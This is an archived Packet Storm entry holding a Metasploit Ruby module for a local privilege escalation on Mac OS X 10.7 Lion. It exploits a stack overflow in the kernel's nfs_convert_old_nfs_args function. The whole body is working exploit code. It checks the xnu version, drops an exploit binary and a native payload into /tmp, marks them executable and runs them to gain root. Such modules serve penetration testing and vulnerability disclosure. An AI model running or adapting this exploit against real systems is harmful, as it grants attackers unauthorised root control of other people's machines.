Mac OS X NFS Mount Privilege Escalation

2014-04-25T00:00:00
ID PACKETSTORM:126336
Type packetstorm
Reporter joev
Modified 2014-04-25T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',  
'Description' => %q{  
This exploit leverage a stack overflow vulnerability to escalate privileges.  
The vulnerable function nfs_convert_old_nfs_args does not verify the size  
of a user-provided argument before copying it to the stack. As a result by  
passing a large size, a local user can overwrite the stack with arbitrary  
content.  
  
Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kenzley Alphonse', # discovery and a very well-written exploit  
'joev' # msf module  
],  
'References' =>  
[  
[ 'EDB', '32813' ]  
],  
'Platform' => 'osx',  
'Arch' => [ ARCH_X86_64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [  
[ 'Mac OS X 10.7 Lion x64 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 11 2014'  
))  
end  
  
def check  
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')  
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')  
exploit = File.read(file)  
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"  
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"  
  
print_status "Writing temp file... #{tmpfile}"  
write_file(tmpfile, exploit)  
register_file_for_cleanup(tmpfile)  
  
print_status "Writing payload file... #{payloadfile}"  
write_file(payloadfile, pload)  
register_file_for_cleanup(payloadfile)  
  
print_status "Executing payload..."  
cmd_exec("chmod +x #{tmpfile}")  
cmd_exec("chmod +x #{payloadfile}")  
cmd_exec("#{tmpfile} #{payloadfile}")  
end  
  
def xnu_ver  
m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)  
m && m[1]  
end  
  
def ver_lt(a, b)  
Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))  
end  
  
end  
`